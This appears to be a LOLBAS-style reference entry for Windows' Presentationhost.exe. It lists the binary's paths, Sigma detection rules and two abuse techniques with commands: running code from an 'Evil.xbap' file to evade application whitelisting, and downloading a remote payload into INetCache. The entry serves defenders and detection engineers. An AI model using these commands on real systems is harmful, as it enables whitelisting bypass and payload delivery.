.. /Presentationhost.exe

Star

Paths:

• C:\Windows\System32\Presentationhost.exe
• C:\Windows\SysWOW64\Presentationhost.exe

Resources:

• https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
• https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

Acknowledgements:

• Casey Smith (@subtee)
• Nir Chako (Pentera) (@C_h4ck_0)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml
• IOC: Execution of .xbap files may not be common on production workstations

Execute

1. Executes the target XAML Browser Application (XBAP) file

   Presentationhost.exe C:\temp\Evil.xbap

   Use case

   Execute code within xbap files

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

   ATT&CK® technique

   T1218

Download

1. It will download a remote payload and place it in INetCache.

   Presentationhost.exe https://example.com/payload

   Use case

   Downloads payload from remote server

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"